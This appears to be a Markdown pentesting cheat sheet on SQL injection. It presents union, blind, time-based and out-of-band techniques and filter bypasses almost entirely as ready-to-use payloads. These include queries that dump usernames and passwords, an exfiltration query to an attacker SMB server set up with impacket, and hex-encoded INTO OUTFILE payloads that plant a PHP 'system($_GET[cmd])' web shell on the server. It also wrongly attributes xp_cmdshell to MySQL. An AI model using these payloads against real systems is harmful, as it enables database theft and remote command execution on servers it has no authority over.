363 lines
		
	
	
		
			10 KiB
		
	
	
	
		
			Markdown
		
	
	
	
			
		
		
	
	
			363 lines
		
	
	
		
			10 KiB
		
	
	
	
		
			Markdown
		
	
	
	
| # SQL Injection
 | |
| 
 | |
| In an SQL injection an SQL statement is ended prematurely through setting the
 | |
| quote earlier than intended by the original programmer. The malicious command
 | |
| is then ended by an SQL comment to ignore the following parts of the original
 | |
| SQL statement.
 | |
| A piece of understanding the way of injecting malicious SQL commands is to
 | |
| understand the syntax of [MySQL
 | |
| Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/).
 | |
| 
 | |
| * [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)
 | |
| 
 | |
| ## Finding an Opportunity
 | |
| 
 | |
| GET parameter
 | |
| 
 | |
| ```sh
 | |
| http://example.com/index.php?id=' or 1=1 -- -
 | |
| ```
 | |
| 
 | |
| Sometimes another parameter may come first
 | |
| 
 | |
| ```sh
 | |
| http://example.com/index.php?id=10 or 1=1 -- +
 | |
| http://example.com/index.php?id=10' or '1'='1'-- -
 | |
| http://example.com/index.php?id=-1' or 1=1 -- -&password=x
 | |
| ```
 | |
| 
 | |
| Provoking an error to gain information if an injection might be possible. Check
 | |
| by just putting in a single quote
 | |
| 
 | |
| ```sh
 | |
| http://example.com/index.php?id='
 | |
| ```
 | |
| 
 | |
| **Incase of client side sanitization craft the URL instead of using the form!!!**
 | |
| 
 | |
| ## In-Band SQLi
 | |
| 
 | |
| Terminate the string of the SQL command via `'` and resolve via tautology like
 | |
| 1=1, comment the rest of the string via `--`. This defaults to a true statement
 | |
| and delivers a response containing DB content
 | |
| 
 | |
| ```sql
 | |
| SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
 | |
| SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+
 | |
| ```
 | |
| 
 | |
| There are further methods of SQL injection following below.
 | |
| 
 | |
| ### Identify Database
 | |
| 
 | |
| The following examples are methods of retrieving the type of DBMS in use.
 | |
| 
 | |
| ```sh
 | |
| id=sqlite_version()
 | |
| id=@@version # mysql/mssql
 | |
| id=(SELECT banner FROM v$version) # oracle
 | |
| ```
 | |
| 
 | |
| ### Union based
 | |
| 
 | |
| Union based injections is an incremental and cautios approach.
 | |
| Start by trying to provoke errors to validate a possible injection.
 | |
| 
 | |
| * __First method__ check by order until error occurs
 | |
| 
 | |
| ```sql
 | |
| ' order by 1 -- -
 | |
| ' order by 2 -- -
 | |
| ' order by 3 -- -
 | |
| ```
 | |
| 
 | |
| Check the number of columns by inserting NULL values one after another.
 | |
| 
 | |
|  __Second method__ fuzzing NULL values, followed by fuzzing data types
 | |
| 
 | |
| Check number of cols
 | |
| 
 | |
| ```sql
 | |
| ' UNION SELECT NULL-- -
 | |
| ' UNION SELECT NULL,NULL-- -
 | |
| ' UNION SELECT NULL,NULL,NULL-- -
 | |
| # until the error occurs
 | |
| ```
 | |
| 
 | |
| Check which one contains String values
 | |
| 
 | |
| ```sql
 | |
| ' UNION SELECT 'a',NULL,NULL,NULL -- -
 | |
| ' UNION SELECT NULL,'a',NULL,NULL -- -
 | |
| ' UNION SELECT NULL,NULL,'a',NULL -- -
 | |
| ' UNION SELECT NULL,NULL,NULL,'a' -- -
 | |
| ```
 | |
| 
 | |
| Retrieve content, for cols as an example, or dump database
 | |
| 
 | |
| ```sql
 | |
| ' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - //
 | |
| ' UNION SELECT NULL,username,password,NULL FROM users -- - //
 | |
| ```
 | |
| 
 | |
| Retrieve content by union poking the count and order of columns, afterwards
 | |
| extracting tables via
 | |
| 
 | |
| ```sh
 | |
| 0 union select null, null, database()
 | |
| 0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
 | |
| 0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
 | |
| 0 union select null, null, group_concat(username, ':', password from found_tablename
 | |
| ```
 | |
| 
 | |
| The examples above contain methods of retrieving table name, column names. The
 | |
| last example uses the information returned to inject the correct column names
 | |
| so the acutal content of them are retrieved. Further examples under [SQL
 | |
| Functions](#SQL-Functions)
 | |
| 
 | |
| #### SQL Functions
 | |
| 
 | |
| Use SQL functions to poke the tables & cols via union.
 | |
| * [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)
 | |
| 
 | |
| Extract tables 
 | |
| 
 | |
| ```sql
 | |
| 1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
 | |
| ```
 | |
| SQLite specifica
 | |
| 
 | |
| ```sql
 | |
| ' UNION SELECT sql, sql FROM sqlite_master -- -
 | |
| ```
 | |
| 
 | |
| ```sql
 | |
| (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
 | |
| (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
 | |
| ```
 | |
| 
 | |
| Extract columns
 | |
| 
 | |
| ```sh
 | |
| 1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
 | |
| ```
 | |
| 
 | |
| Extract Data from cols
 | |
| ```sql
 | |
| 1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
 | |
| ```
 | |
| 
 | |
| ## Inferential SQLi
 | |
| 
 | |
| The result of the SQLi may not be directly visible but can be measured through
 | |
| side channels like timespan between request and response or by a boolean value.
 | |
| 
 | |
| ### Boolean True and False
 | |
| 
 | |
| ```sql
 | |
| SELECT * FROM users WHERE id = 420 and 69=69
 | |
| SELECT * FROM users WHERE id = 420 and 1=69
 | |
| ```
 | |
| 
 | |
| ```sql
 | |
| SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
 | |
| SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
 | |
| ```
 | |
| 
 | |
| Blind boolean base substring fuzzes one char at a time, by inspecting the
 | |
| return value after each inserted char.
 | |
| 
 | |
| ```sql
 | |
| ' UNION SELECT null,null,null where database() like 'da%';-- -
 | |
| ```
 | |
| 
 | |
| ### Time Based
 | |
| 
 | |
| Checking input blindly via sleep() function. Count the number of columns in
 | |
| this way. on success, the sleep(5) function executes
 | |
| 
 | |
| ```sql
 | |
| ' union select sleep(3), null; -- -
 | |
| ' SELECT * from users where id = 420; IF (69=69) WAITFOR DELAY '00:00:03' -- -
 | |
| ```
 | |
| 
 | |
| ### Blind injection
 | |
| 
 | |
| A blind injection methods tries to guess characters not by returned values
 | |
| but by how the DB behaves to your request
 | |
| 
 | |
| ```sh
 | |
| http://example.com/?id=1' and substr((select database()),1,1) < 105 --+
 | |
| ```
 | |
| 
 | |
| ```sh
 | |
| http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
 | |
| ```
 | |
| 
 | |
| * Function substr(string, start, length)
 | |
| * sqlmap via `--level=5 --risk=3 --dbms=sqlite --technique=b --dump`
 | |
| 
 | |
| __How do you go forward when you know, that there is a possible boolean blind injection?__
 | |
| 
 | |
| You want to get
 | |
| 
 | |
| * Database name
 | |
| * Table name
 | |
| * Column name
 | |
| 
 | |
| and watch out for return values, status codes, if you are logged in a session
 | |
| inside the browser, etc., ... .
 | |
| 
 | |
| Start at the databasename character on position 1, after that 2 and so on via a
 | |
| POST request
 | |
| 
 | |
| ```sql
 | |
| username=admin'+and+substring(database(),1,1)="a"+#&password='
 | |
| username=admin'+and+substring(database(),2,1)="b"+#&password='
 | |
| ```
 | |
| 
 | |
| Next, find the characters of the tablename via
 | |
| 
 | |
| ```sql
 | |
| username=admin'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="<found_databasename>"+limit+0,1),1,1)+=+"a"+#&password='
 | |
| username=admin'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="<found_databasename>"+limit+0,1),2,1)+=+"b"+#&password='
 | |
| ```
 | |
| 
 | |
| Find the column_name of the table
 | |
| 
 | |
| ```sql
 | |
| username=admin'+and+substring((select+column_name+from+information_schema.columns+where+table_name="<found_tablename>"+limit+0,1),1,1)+=+"a"+#&password='
 | |
| username=admin'+and+substring((select+column_name+from+information_schema.columns+where+table_name="<found_tablename>"+limit+0,1),2,1)+=+"b"+#&password='
 | |
| ```
 | |
| 
 | |
| Query content of the table and columns found via
 | |
| 
 | |
| ```sql
 | |
| username=admin'+and+substring((select+<found_columnname>+from+<found_tablename>+limit+0,1),1,1)="a"+#&password='
 | |
| ```
 | |
| 
 | |
| ## Out-of-Band SQLi
 | |
| 
 | |
| Out-of-band requests are injected through a different channel than the
 | |
| resulting response.
 | |
| 
 | |
| ### Second-Order SQLi
 | |
| 
 | |
| The result is not directly visible, instead some indirect response is executed,
 | |
| maybe at a later stage of the attack through inserting a a SQLi through your
 | |
| original SQLi payload.
 | |
| 
 | |
| Check if an inserted SQL query may be set instead of regular data, e.g. instead
 | |
| of a name and let it be queried via a second step.
 | |
| 
 | |
| ### Other Communication Channels
 | |
| 
 | |
| Instead of a direct response there may be indirect results possible, like the following.
 | |
| 
 | |
| Write to a file via `OUTFILE`.
 | |
| 
 | |
| ```sql
 | |
| SELECT passwords FROM users INTO OUTFILE '/dev/shm/passwords.txt`
 | |
| ```
 | |
| 
 | |
| Executing shell commands for extraction through `xp_cmdshell` on MYSQL.
 | |
| 
 | |
| When using Oracle DBs send your data via `UTL_HTTP.BEGIN_REQUEST` to an
 | |
| exfiltration target.
 | |
| 
 | |
| Other exfiltration targets may be DNS or SMB servers.
 | |
| 
 | |
| On the attacker side start an SMB server.
 | |
| 
 | |
| ```sh
 | |
| impacket-smbserver -smb2support -comment "Attacker SMB" -debug logs /tmp
 | |
| ```
 | |
| 
 | |
| Execute the following query on the target.
 | |
| 
 | |
| ```sh
 | |
| 420'; SELECT @@version into outfile '\\\\$ATTACKER_SMB_IP\\logs\\response.txt'; -- -
 | |
| ```
 | |
| 
 | |
| ## Value Insertion
 | |
| 
 | |
| Under the right conditions, it is possible to insert information into a table.
 | |
| 
 | |
| Check user file permissions if an insertion is possible
 | |
| 
 | |
| ```sql
 | |
| union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
 | |
| ```
 | |
| 
 | |
| Insert file through insertion of `system()` or `exec_shell()` and a get
 | |
| parameter
 | |
| 
 | |
| ```sql
 | |
| <cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
 | |
| ```
 | |
| 
 | |
| Insert `<?php system($_GET["cmd"]); ?>` 
 | |
| 
 | |
| ```sql
 | |
| " Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
 | |
| ```
 | |
| 
 | |
| ### Further Examples
 | |
| 
 | |
| Sqli inside HTTP request to an API. Five columns in the select have been
 | |
| discovered before
 | |
| 
 | |
| ```HTTP
 | |
| GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
 | |
| ```
 | |
| 
 | |
| Get column names through the following example.
 | |
| 
 | |
| ```HTTP
 | |
| GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
 | |
| ```
 | |
| 
 | |
| Get rows from users by id 
 | |
| 
 | |
| ```HTTP
 | |
| GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
 | |
| ```
 | |
| 
 | |
| ## Filter Bypass
 | |
| 
 | |
| Bypass may be possible through character encodings like 
 | |
| 
 | |
| * Percent/URL
 | |
| * Hex
 | |
| * Unicode
 | |
| 
 | |
| To bypass quote filtering use the following methods.
 | |
| 
 | |
| * Numerical values which do not need quotes like `420=420`
 | |
| * SQL comments `username --`
 | |
| * Create the username through `CONCAT(0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d 0x65)`
 | |
| 
 | |
| To bypass space filtering use the following methods.
 | |
| 
 | |
| * Open and close a comment instead of using a space -> `/**/`
 | |
| * Use `\t` or `\n` instead of space
 | |
| * Encode the space or alternative `\t` or `\n` character, e.g. `%0A`
 | |
| 
 | |
| To bypass keyword removal use the following methods.
 | |
| 
 | |
| * Use a comment in the midst of the keyword that would be removed -> `un/**/ion`
 | |
| * Write the keyword in unusual lower and uppercase characters -> `uNiOn`
 | |
| * Use `Concat()`, to create the keyword, e.g. `CONCAT(0x61, 0x64, 0x6D, 0x69, 0x6E)` or `CONCAT('u','n','i','o','n')`
 | |
| * Use Encodings for the keyword
 | |
| 
 | |
| Use logical operate instead of english keywords, e.g. `&&` instead of `and`.
 | |
| 
 | |
| ## Payloads
 | |
| 
 | |
| * [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)
 | |
| 
 | |
| ## Tools
 | |
| 
 | |
| * [SQLmap](https://github.com/sqlmapproject/sqlmap)
 | |
| * [Bbbqsql for blind injections](https://github.com/CiscoCXSecurity/bbqsql)
 |